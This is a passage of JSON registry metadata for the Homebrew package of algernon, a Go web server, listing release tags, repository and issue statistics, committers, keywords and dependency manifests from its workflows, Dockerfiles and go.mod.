/0.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.42/manifests"},{"name":"0.41","sha":"7096ad736e753fd01b0d69ac7332ecca4cbeaa6a","kind":"commit","published_at":"2015-03-11T22:16:24.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.41","html_url":"https://github.com/xyproto/algernon/releases/tag/0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.41/manifests"},{"name":"0.4","sha":"c5c7f8333fac93afca203254df6ca6a97571f7a9","kind":"commit","published_at":"2015-03-11T19:51:51.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.4","html_url":"https://github.com/xyproto/algernon/releases/tag/0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.4/manifests"},{"name":"0.3","sha":"3eb7104496365a437898051ab898dc68edd0ce35","kind":"commit","published_at":"2015-03-11T13:12:39.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.3","html_url":"https://github.com/xyproto/algernon/releases/tag/0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.3/manifests"},{"name":"0.2","sha":"90791373f0dbfa3dbed111603cf576f8d7ae912b","kind":"commit","published_at":"2015-03-10T22:31:14.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.2","html_url":"https://github.com/xyproto/algernon/releases/tag/0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.2/manifests"}]},"repo_metadata_updated_at":"2026-05-31T13:54:05.866Z","dependent_packages_count":0,"downloads":45,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":84.31609108731715,"dependent_repos_count":50.73141305987031,"dependent_packages_count":18.98657819333434,"stargazers_count":10.330266928065148,"forks_count":16.60383049313829,"average":36.19363595234505},"purl":"pkg:brew/algernon","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/homebrew/algernon","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/homebrew/algernon","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/homebrew/algernon/dependencies","status":null,"funding_links":["https://github.com/sponsors/xyproto"],"critical":null,"issue_metadata":{"last_synced_at":"2026-04-08T06:01:20.989Z","issues_count":86,"pull_requests_count":50,"avg_time_to_close_issue":16171533.090909092,"avg_time_to_close_pull_request":287101.5,"issues_closed_count":55,"pull_requests_closed_count":48,"pull_request_authors_count":17,"issue_authors_count":39,"avg_comments_per_issue":3.755813953488372,"avg_comments_per_pull_request":1.14,"merged_pull_requests_count":34,"bot_issues_count":0,"bot_pull_requests_count":17,"past_year_issues_count":5,"past_year_pull_requests_count":3,"past_year_avg_time_to_close_issue":11031760.0,"past_year_avg_time_to_close_pull_request":79529.0,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":2,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":5,"past_year_avg_comments_per_issue":2.8,"past_year_avg_comments_per_pull_request":0.6666666666666666,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/issues","maintainers":[{"login":"tooolbox","count":25,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tooolbox"},{"login":"xyproto","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/xyproto"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/packages/algernon/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/packages/algernon/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/packages/algernon/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/packages/algernon/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/packages/algernon/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/packages/algernon/codemeta","maintainers":[],"registry":{"name":"formulae.brew.sh","url":"https://formulae.brew.sh","ecosystem":"homebrew","default":true,"packages_count":9259,"maintainers_count":0,"namespaces_count":0,"keywords_count":0,"github":"homebrew","metadata":{"funded_packages_count":882},"icon_url":"https://github.com/homebrew.png","created_at":"2022-04-12T16:38:29.467Z","updated_at":"2026-04-03T06:49:13.885Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/formulae.brew.sh/namespaces"}}],"commits":{"id":490328,"full_name":"xyproto/algernon","default_branch":"main","total_commits":2698,"total_committers":16,"total_bot_commits":8,"total_bot_committers":1,"mean_commits":168.625,"dds":0.017049666419570064,"past_year_total_commits":229,"past_year_total_committers":2,"past_year_total_bot_commits":1,"past_year_total_bot_committers":1,"past_year_mean_commits":114.5,"past_year_dds":0.004366812227074246,"last_synced_at":"2026-05-27T06:07:30.673Z","last_synced_commit":"fc805a776532c17922cd7291736aeaa2680772cd","created_at":"2023-03-09T01:54:31.567Z","updated_at":"2026-05-27T06:07:30.314Z","committers":[{"name":"Alexander F. Rødseth","email":"rodseth@gmail.com","login":"xyproto","count":2652},{"name":"Matt Mc","email":"4984708+tooolbox","login":"tooolbox","count":20},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":8},{"name":"Rui Chen","email":"chenrui333@gmail.com","login":"chenrui333","count":5},{"name":"Felix Yan","email":"felixonmars@archlinux.org","login":"felixonmars","count":2},{"name":"Štefan Baebler","email":"stefan.baebler@gmail.com","login":"stefanb","count":1},{"name":"udhos","email":"udhos","login":"udhos","count":1},{"name":"guangwu","email":"guoguangwu@magic-shield.com","login":"testwill","count":1},{"name":"giuliolunati","email":"giuliolunati@gmail.com","login":"giuliolunati","count":1},{"name":"Philipp Gillé","email":"philippgille","login":"philippgille","count":1},{"name":"Nick Owens","email":"mischief@offblast.org","login":"mischief","count":1},{"name":"Mohamed Abdel Maksoud","email":"1863880+mohamed--abdel-maksoud","login":"mohamed--abdel-maksoud","count":1},{"name":"Jesse Cooke","email":"jesse@jc00ke.com","login":"jc00ke","count":1},{"name":"Jan Macku","email":"jamacku@redhat.com","login":"jamacku","count":1},{"name":"Benjamin Nater","email":"17193640+bn4t","login":"bn4t","count":1},{"name":"Ariel","email":"arimal199@gmail.com","login":"arimal199","count":1}],"past_year_committers":[{"name":"Alexander F. Rødseth","email":"rodseth@gmail.com","login":"xyproto","count":228},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-05-31T00:00:10.607Z","repositories_count":6249776,"commits_count":883367577,"contributors_count":35004009,"owners_count":1161059,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"xyproto/algernon","html_url":"https://github.com/xyproto/algernon","last_synced_at":"2026-05-27T06:03:32.745Z","status":"active","issues_count":88,"pull_requests_count":50,"avg_time_to_close_issue":16171533.090909092,"avg_time_to_close_pull_request":287101.5,"issues_closed_count":55,"pull_requests_closed_count":48,"pull_request_authors_count":17,"issue_authors_count":41,"avg_comments_per_issue":3.7954545454545454,"avg_comments_per_pull_request":1.14,"merged_pull_requests_count":34,"bot_issues_count":0,"bot_pull_requests_count":17,"past_year_issues_count":7,"past_year_pull_requests_count":1,"past_year_avg_time_to_close_issue":11031760.0,"past_year_avg_time_to_close_pull_request":97646.0,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":1,"past_year_pull_request_authors_count":1,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":3.5714285714285716,"past_year_avg_comments_per_pull_request":1.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":0,"created_at":"2023-05-10T14:36:38.011Z","updated_at":"2026-05-27T06:03:32.745Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/issues","issue_labels_count":{"table":{"enhancement":26,"bug":17,"feature request":10,"question":8,"documentation":6,"can-reproduce-the-issue":4,"waiting-for-a-reply":4,"trying-to-reproduce-the-issue":2,"planning-to-reproduce-the-issue":2,"examples":1,"pongo2":1,"performance":1,"implemented":1,"lua":1,"experiment-needed":1}},"pull_request_labels_count":{"table":{"dependencies":5,"go":4,"enhancement":3}},"issue_author_associations_count":{"table":{"NONE":65,"COLLABORATOR":16,"OWNER":6,"CONTRIBUTOR":1}},"pull_request_author_associations_count":{"table":{"CONTRIBUTOR":32,"COLLABORATOR":9,"OWNER":5,"NONE":4}},"issue_authors":{"table":{"tooolbox":16,"linkerlin":11,"Dialga":7,"xyproto":6,"esumerfd":3,"myselfghost":3,"Jan69":2,"bodsch":2,"seansbox":2,"bearinld004":2,"alpharde":2,"basaran":2,"diyism":2,"judell":1,"xjl456852":1,"roopakv":1,"usernope":1,"kris6673":1,"adamshand":1,"terminar":1,"qithron":1,"leapfog":1,"TBortels":1,"gedw99":1,"movepointsolutions":1,"slok2024":1,"verkaro":1,"chenrui333":1,"chrisbgp":1,"ptman":1,"ogoudron":1,"d4z3x":1,"leopku":1,"iMaxopoly":1,"DaVyze":1,"fayakun-it-consulting":1,"scrumit":1,"MrAdityaAlok":1,"KatrielMoses":1,"fxcoudert":1,"astynax":1}},"pull_request_authors":{"table":{"dependabot[bot]":17,"tooolbox":9,"xyproto":5,"chenrui333":4,"felixonmars":2,"giuliolunati":2,"bn4t":1,"linkerlin":1,"stefanb":1,"arimal199":1,"fossabot":1,"HarshCasper":1,"testwill":1,"jamacku":1,"philippgille":1,"mohamed--abdel-maksoud":1,"zendy199x":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-05-31T00:00:12.288Z","repositories_count":14736339,"issues_count":33501126,"pull_requests_count":110325273,"authors_count":11284977,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"bug":1,"feature request":1}},"past_year_pull_request_labels_count":{"table":{}},"past_year_issue_author_associations_count":{"table":{"NONE":7}},"past_year_pull_request_author_associations_count":{"table":{"NONE":1}},"past_year_issue_authors":{"table":{"astynax":1,"DaVyze":1,"fayakun-it-consulting":1,"Jan69":1,"KatrielMoses":1,"myselfghost":1,"slok2024":1}},"past_year_pull_request_authors":{"table":{"zendy199x":1}},"maintainers":[{"table":{"login":"tooolbox","count":25,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tooolbox"}},{"table":{"login":"xyproto","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/xyproto"}}],"active_maintainers":[]}},"events":{"total":{"ReleaseEvent":3,"DeleteEvent":4,"PullRequestEvent":4,"ForkEvent":12,"IssuesEvent":18,"WatchEvent":179,"IssueCommentEvent":29,"PushEvent":129,"CreateEvent":8},"last_year":{"ReleaseEvent":1,"DeleteEvent":3,"PullRequestEvent":2,"ForkEvent":3,"IssuesEvent":10,"WatchEvent":58,"IssueCommentEvent":12,"PushEvent":72,"CreateEvent":5}},"keywords":["algernon","build-less","cross-platform","fasthttp","go","http3","live-reload","local-llm","lua","mysql","npm-less","ollama","pongo2","postgresql","quic","react19","redis","server-sent-events","sqlite","tls13"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/build.yml","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.319Z","updated_at":"2023-01-16T22:16:50.319Z","repository_link":"https://github.com/xyproto/algernon/blob/main/.github/workflows/build.yml","dependencies":[{"id":6959971333,"package_name":"actions/setup-go","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":6959971334,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":6959971335,"package_name":"actions/cache","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/differential-shellcheck.yml","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.335Z","updated_at":"2023-01-16T22:16:50.335Z","repository_link":"https://github.com/xyproto/algernon/blob/main/.github/workflows/differential-shellcheck.yml","dependencies":[{"id":6959971346,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6959971347,"package_name":"redhat-plumbers-in-action/differential-shellcheck","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/homebrew.yml","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.363Z","updated_at":"2023-01-16T22:16:50.363Z","repository_link":"https://github.com/xyproto/algernon/blob/main/.github/workflows/homebrew.yml","dependencies":[{"id":6959971810,"package_name":"mislav/bump-homebrew-formula-action","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"docker/dev/Dockerfile","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.407Z","updated_at":"2023-01-16T22:16:50.407Z","repository_link":"https://github.com/xyproto/algernon/blob/main/docker/dev/Dockerfile","dependencies":[{"id":6959972157,"package_name":"golang","ecosystem":"docker","requirements":"alpine","direct":true,"kind":"build","optional":false},{"id":6959972158,"package_name":"scratch","ecosystem":"docker","requirements":"latest","direct":true,"kind":"build","optional":false}]},{"ecosystem":"docker","filepath":"docker/interactive/Dockerfile","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.463Z","updated_at":"2023-01-16T22:16:50.463Z","repository_link":"https://github.com/xyproto/algernon/blob/main/docker/interactive/Dockerfile","dependencies":[{"id":6959972365,"package_name":"golang","ecosystem":"docker","requirements":"alpine","direct":true,"kind":"build","optional":false},{"id":6959972366,"package_name":"scratch","ecosystem":"docker","requirements":"latest","direct":true,"kind":"build","optional":false}]},{"ecosystem":"docker","filepath":"docker/lua/Dockerfile","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.521Z","updated_at":"2023-01-16T22:16:50.521Z","repository_link":"https://github.com/xyproto/algernon/blob/main/docker/lua/Dockerfile","dependencies":[{"id":6959972455,"package_name":"golang","ecosystem":"docker","requirements":"alpine","direct":true,"kind":"build","optional":false},{"id":6959972456,"package_name":"scratch","ecosystem":"docker","requirements":"latest","direct":true,"kind":"build","optional":false}]},{"ecosystem":"docker","filepath":"docker/prod/Dockerfile","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.574Z","updated_at":"2023-01-16T22:16:50.574Z","repository_link":"https://github.com/xyproto/algernon/blob/main/docker/prod/Dockerfile","dependencies":[{"id":6959972493,"package_name":"golang","ecosystem":"docker","requirements":"alpine","direct":true,"kind":"build","optional":false},{"id":6959972494,"package_name":"scratch","ecosystem":"docker","requirements":"latest","direct":true,"kind":"build","optional":false}]},{"ecosystem":"go","filepath":"go.mod","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.618Z","updated_at":"2023-01-16T22:16:50.618Z","repository_link":"https://github.com/xyproto/algernon/blob/main/go.mod","dependencies":[{"id":6959972524,"package_name":"github.com/bmizerany/assert","ecosystem":"go","requirements":"v0.0.0-20160611221934-b7ed37b82869","direct":true,"kind":"runtime","optional":false},{"id":6959972525,"package_name":"github.com/caddyserver/certmagic","ecosystem":"go","requirements":"v0.17.2","direct":true,"kind":"runtime","optional":false},{"id":6959972526,"package_name":"github.com/chzyer/readline","ecosystem":"go","requirements":"v1.5.1","direct":true,"kind":"runtime","optional":false},{"id":6959972527,"package_name":"github.com/ddliu/go-httpclient","ecosystem":"go","requirements":"v0.7.1","direct":true,"kind":"runtime","optional":false},{"id":6959972528,"package_name":"github.com/denisenkom/go-mssqldb","ecosystem":"go","requirements":"v0.12.3","direct":true,"kind":"runtime","optional":false},{"id":6959972529,"package_name":"github.com/didip/tollbooth","ecosystem":"go","requirements":"v4.0.2+incompatible","direct":true,"kind":"runtime","optional":false},{"id":6959972530,"package_name":"github.com/eknkc/amber","ecosystem":"go","requirements":"v0.0.0-20171010120322-cdade1c07385","direct":true,"kind":"runtime","optional":false},{"id":6959972531,"package_name":"github.com/evanw/esbuild","ecosystem":"go","requirements":"v0.17.0","direct":true,"kind":"runtime","optional":false},{"id":6959972532,"package_name":"github.com/felixge/fgtrace","ecosystem":"go","requirements":"v0.2.0","direct":true,"kind":"runtime","optional":false},{"id":6959972533,"package_name":"github.com/go-gcfg/gcfg","ecosystem":"go","requirements":"v1.2.3","direct":true,"kind":"runtime","optional":false},{"id":6959972534,"package_name":"github.com/lib/pq","ecosystem":"go","requirements":"v1.10.7","direct":true,"kind":"runtime","optional":false},{"id":6959972535,"package_name":"github.com/lucas-clemente/quic-go","ecosystem":"go","requirements":"v0.31.1","direct":true,"kind":"runtime","optional":false},{"id":6959972536,"package_name":"github.com/mitchellh/go-homedir","ecosystem":"go","requirements":"v1.1.0","direct":true,"kind":"runtime","optional":false},{"id":6959972537,"package_name":"github.com/natefinch/pie","ecosystem":"go","requirements":"v0.0.0-20170715172608-9a0d72014007","direct":true,"kind":"runtime","optional":false},{"id":6959972538,"package_name":"github.com/russross/blackfriday/v2","ecosystem":"go","requirements":"v2.1.0","direct":true,"kind":"runtime","optional":false},{"id":6959972539,"package_name":"github.com/sirupsen/logrus","ecosystem":"go","requirements":"v1.9.0","direct":true,"kind":"runtime","optional":false},{"id":6959972540,"package_name":"github.com/tylerb/graceful","ecosystem":"go","requirements":"v1.2.15","direct":true,"kind":"runtime","optional":false},{"id":6959972541,"package_name":"github.com/wellington/sass","ecosystem":"go","requirements":"v0.0.0-20160911051022-cab90b3986d6","direct":true,"kind":"runtime","optional":false},{"id":6959972542,"package_name":"github.com/xyproto/ask","ecosystem":"go","requirements":"v1.0.1-0.20190918171905-3782b6dc3afd","direct":true,"kind":"runtime","optional":false},{"id":6959972543,"package_name":"github.com/xyproto/datablock","ecosystem":"go","requirements":"v0.0.0-20190619140322-71fb859bdac7","direct":true,"kind":"runtime","optional":false},{"id":6959972544,"package_name":"github.com/xyproto/env","ecosystem":"go","requirements":"v1.8.0","direct":true,"kind":"runtime","optional":false},{"id":6959972545,"package_name":"github.com/xyproto/gluamapper","ecosystem":"go","requirements":"v1.2.1","direct":true,"kind":"runtime","optional":false},{"id":6959972546,"package_name":"github.com/xyproto/gopher-lua","ecosystem":"go","requirements":"v1.0.2","direct":true,"kind":"runtime","optional":false},{"id":6959972547,"package_name":"github.com/xyproto/jpath","ecosystem":"go","requirements":"v0.6.1","direct":true,"kind":"runtime","optional":false},{"id":6959972548,"package_name":"github.com/xyproto/mime","ecosystem":"go","requirements":"v0.0.0-20210817202956-28bafd7b06b4","direct":true,"kind":"runtime","optional":false},{"id":6959972549,"package_name":"github.com/xyproto/onthefly","ecosystem":"go","requirements":"v1.2.3","direct":true,"kind":"runtime","optional":false},{"id":6959972550,"package_name":"github.com/xyproto/permissionbolt","ecosystem":"go","requirements":"v1.2.6","direct":true,"kind":"runtime","optional":false},{"id":6959972551,"package_name":"github.com/xyproto/permissions2","ecosystem":"go","requirements":"v0.0.0-20220501203256-fd4f1e1ce602","direct":true,"kind":"runtime","optional":false},{"id":6959972552,"package_name":"github.com/xyproto/permissionsql","ecosystem":"go","requirements":"v0.0.0-20211125233837-22c0d59b31e0","direct":true,"kind":"runtime","optional":false},{"id":6959972553,"package_name":"github.com/xyproto/pinterface","ecosystem":"go","requirements":"v1.5.3","direct":true,"kind":"runtime","optional":false},{"id":6959972554,"package_name":"github.com/xyproto/pongo2","ecosystem":"go","requirements":"v0.0.0-20191214182037-d75cc3537773","direct":true,"kind":"runtime","optional":false},{"id":6959972555,"package_name":"github.com/xyproto/pstore","ecosystem":"go","requirements":"v1.3.1","direct":true,"kind":"runtime","optional":false},{"id":6959972556,"package_name":"github.com/xyproto/recwatch","ecosystem":"go","requirements":"v1.1.0","direct":true,"kind":"runtime","optional":false},{"id":6959972557,"package_name":"github.com/xyproto/sheepcounter","ecosystem":"go","requirements":"v1.6.1","direct":true,"kind":"runtime","optional":false},{"id":6959972558,"package_name":"github.com/xyproto/simplebolt","ecosystem":"go","requirements":"v1.5.2","direct":true,"kind":"runtime","optional":false},{"id":6959972559,"package_name":"github.com/xyproto/simpleform","ecosystem":"go","requirements":"v0.2.0","direct":true,"kind":"runtime","optional":false},{"id":6959972560,"package_name":"github.com/xyproto/simpleredis","ecosystem":"go","requirements":"v0.0.0-20220117114834-9a1000fbd7af","direct":true,"kind":"runtime","optional":false},{"id":6959972561,"package_name":"github.com/xyproto/splash","ecosystem":"go","requirements":"v1.1.6-0.20221231000707-2bc36461a065","direct":true,"kind":"runtime","optional":false},{"id":6959972562,"package_name":"github.com/xyproto/textoutput","ecosystem":"go","requirements":"v1.14.1","direct":true,"kind":"runtime","optional":false},{"id":6959972563,"package_name":"github.com/xyproto/tinysvg","ecosystem":"go","requirements":"v1.1.0","direct":true,"kind":"runtime","optional":false},{"id":6959972564,"package_name":"github.com/xyproto/unzip","ecosystem":"go","requirements":"v0.0.0-20150601123358-823950573952","direct":true,"kind":"runtime","optional":false},{"id":6959972565,"package_name":"github.com/yosssi/gcss","ecosystem":"go","requirements":"v0.1.0","direct":true,"kind":"runtime","optional":false},{"id":6959972566,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.5.0","direct":true,"kind":"runtime","optional":false},{"id":6959972567,"package_name":"github.com/DataDog/gostackparse","ecosystem":"go","requirements":"v0.6.0","direct":true,"kind":"runtime","optional":false},{"id":6959972568,"package_name":"github.com/alecthomas/chroma/v2","ecosystem":"go","requirements":"v2.4.1-0.20221211204142-45e3bfb67168","direct":true,"kind":"runtime","optional":false},{"id":6959972569,"package_name":"github.com/dlclark/regexp2","ecosystem":"go","requirements":"v1.8.0","direct":true,"kind":"runtime","optional":false},{"id":6959972570,"package_name":"github.com/fsnotify/fsnotify","ecosystem":"go","requirements":"v1.6.0","direct":true,"kind":"runtime","optional":false},{"id":6959972571,"package_name":"github.com/go-sql-driver/mysql","ecosystem":"go","requirements":"v1.7.0","direct":true,"kind":"runtime","optional":false},{"id":6959972572,"package_name":"github.com/go-task/slim-sprig","ecosystem":"go","requirements":"v0.0.0-20210107165309-348f09dbbbc0","direct":true,"kind":"runtime","optional":false},{"id":6959972573,"package_name":"github.com/golang-sql/civil","ecosystem":"go","requirements":"v0.0.0-20220223132316-b832511892a9","direct":true,"kind":"runtime","optional":false},{"id":6959972574,"package_name":"github.com/golang-sql/sqlexp","ecosystem":"go","requirements":"v0.1.0","direct":true,"kind":"runtime","optional":false},{"id":6959972575,"package_name":"github.com/golang/mock","ecosystem":"go","requirements":"v1.6.0","direct":true,"kind":"runtime","optional":false},{"id":6959972576,"package_name":"github.com/gomodule/redigo","ecosystem":"go","requirements":"v1.8.9","direct":true,"kind":"runtime","optional":false},{"id":6959972577,"package_name":"github.com/google/pprof","ecosystem":"go","requirements":"v0.0.0-20230111200839-76d1ae5aea2b","direct":true,"kind":"runtime","optional":false},{"id":6959972578,"package_name":"github.com/klauspost/cpuid/v2","ecosystem":"go","requirements":"v2.2.3","direct":true,"kind":"runtime","optional":false},{"id":6959972579,"package_name":"github.com/kr/pretty","ecosystem":"go","requirements":"v0.3.1","direct":true,"kind":"runtime","optional":false},{"id":6959972580,"package_name":"github.com/kr/text","ecosystem":"go","requirements":"v0.2.0","direct":true,"kind":"runtime","optional":false},{"id":6959972581,"package_name":"github.com/libdns/libdns","ecosystem":"go","requirements":"v0.2.1","direct":true,"kind":"runtime","optional":false},{"id":6959972582,"package_name":"github.com/marten-seemann/qpack","ecosystem":"go","requirements":"v0.3.0","direct":true,"kind":"runtime","optional":false},{"id":6959972583,"package_name":"github.com/marten-seemann/qtls-go1-18","ecosystem":"go","requirements":"v0.1.4","direct":true,"kind":"runtime","optional":false},{"id":6959972584,"package_name":"github.com/marten-seemann/qtls-go1-19","ecosystem":"go","requirements":"v0.1.2","direct":true,"kind":"runtime","optional":false},{"id":6959972585,"package_name":"github.com/mattetti/filebuffer","ecosystem":"go","requirements":"v1.0.1","direct":true,"kind":"runtime","optional":false},{"id":6959972586,"package_name":"github.com/mattn/go-colorable","ecosystem":"go","requirements":"v0.1.13","direct":true,"kind":"runtime","optional":false},{"id":6959972587,"package_name":"github.com/mattn/go-isatty","ecosystem":"go","requirements":"v0.0.17","direct":true,"kind":"runtime","optional":false},{"id":6959972588,"package_name":"github.com/mgutz/ansi","ecosystem":"go","requirements":"v0.0.0-20200706080929-d51e80ef957d","direct":true,"kind":"runtime","optional":false},{"id":6959972589,"package_name":"github.com/mholt/acmez","ecosystem":"go","requirements":"v1.0.4","direct":true,"kind":"runtime","optional":false},{"id":6959972590,"package_name":"github.com/miekg/dns","ecosystem":"go","requirements":"v1.1.50","direct":true,"kind":"runtime","optional":false},{"id":6959972591,"package_name":"github.com/mitchellh/mapstructure","ecosystem":"go","requirements":"v1.5.0","direct":true,"kind":"runtime","optional":false},{"id":6959972592,"package_name":"github.com/onsi/ginkgo/v2","ecosystem":"go","requirements":"v2.7.0","direct":true,"kind":"runtime","optional":false},{"id":6959972593,"package_name":"github.com/patrickmn/go-cache","ecosystem":"go","requirements":"v2.1.0+incompatible","direct":true,"kind":"runtime","optional":false},{"id":6959972594,"package_name":"github.com/pkg/errors","ecosystem":"go","requirements":"v0.9.1","direct":true,"kind":"runtime","optional":false},{"id":6959972595,"package_name":"github.com/pkg/term","ecosystem":"go","requirements":"v1.2.0-beta.2.0.20210419004637-f749b98bd0ba","direct":true,"kind":"runtime","optional":false},{"id":6959972596,"package_name":"github.com/rogpeppe/go-internal","ecosystem":"go","requirements":"v1.9.0","direct":true,"kind":"runtime","optional":false},{"id":6959972597,"package_name":"github.com/shopspring/decimal","ecosystem":"go","requirements":"v1.3.1","direct":true,"kind":"runtime","optional":false},{"id":6959972598,"package_name":"github.com/xyproto/cookie","ecosystem":"go","requirements":"v0.0.0-20210319112338-2e0ffd4b75a9","direct":true,"kind":"runtime","optional":false},{"id":6959972599,"package_name":"github.com/xyproto/randomstring","ecosystem":"go","requirements":"v0.0.0-20220311122621-4964ec363205","direct":true,"kind":"runtime","optional":false},{"id":6959972600,"package_name":"github.com/xyproto/simplehstore","ecosystem":"go","requirements":"v1.8.1","direct":true,"kind":"runtime","optional":false},{"id":6959972601,"package_name":"github.com/xyproto/simplemaria","ecosystem":"go","requirements":"v0.0.0-20220902075651-6f3efad9ec98","direct":true,"kind":"runtime","optional":false},{"id":6959972602,"package_name":"github.com/xyproto/symwalk","ecosystem":"go","requirements":"v1.1.1","direct":true,"kind":"runtime","optional":false},{"id":6959972603,"package_name":"github.com/xyproto/vt100","ecosystem":"go","requirements":"v1.11.3","direct":true,"kind":"runtime","optional":false},{"id":6959972604,"package_name":"go.etcd.io/bbolt","ecosystem":"go","requirements":"v1.3.6","direct":true,"kind":"runtime","optional":false},{"id":6959972605,"package_name":"go.uber.org/atomic","ecosystem":"go","requirements":"v1.10.0","direct":true,"kind":"runtime","optional":false},{"id":6959972606,"package_name":"go.uber.org/multierr","ecosystem":"go","requirements":"v1.9.0","direct":true,"kind":"runtime","optional":false},{"id":6959972607,"package_name":"go.uber.org/zap","ecosystem":"go","requirements":"v1.24.0","direct":true,"kind":"runtime","optional":false},{"id":6959972608,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.5.0","direct":true,"kind":"runtime","optional":false},{"id":6959972609,"package_name":"golang.org/x/exp","ecosystem":"go","requirements":"v0.0.0-20230113213754-f9f960f08ad4","direct":true,"kind":"runtime","optional":false},{"id":6959972610,"package_name":"golang.org/x/mod","ecosystem":"go","requirements":"v0.7.0","direct":true,"kind":"runtime","optional":false},{"id":6959972611,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.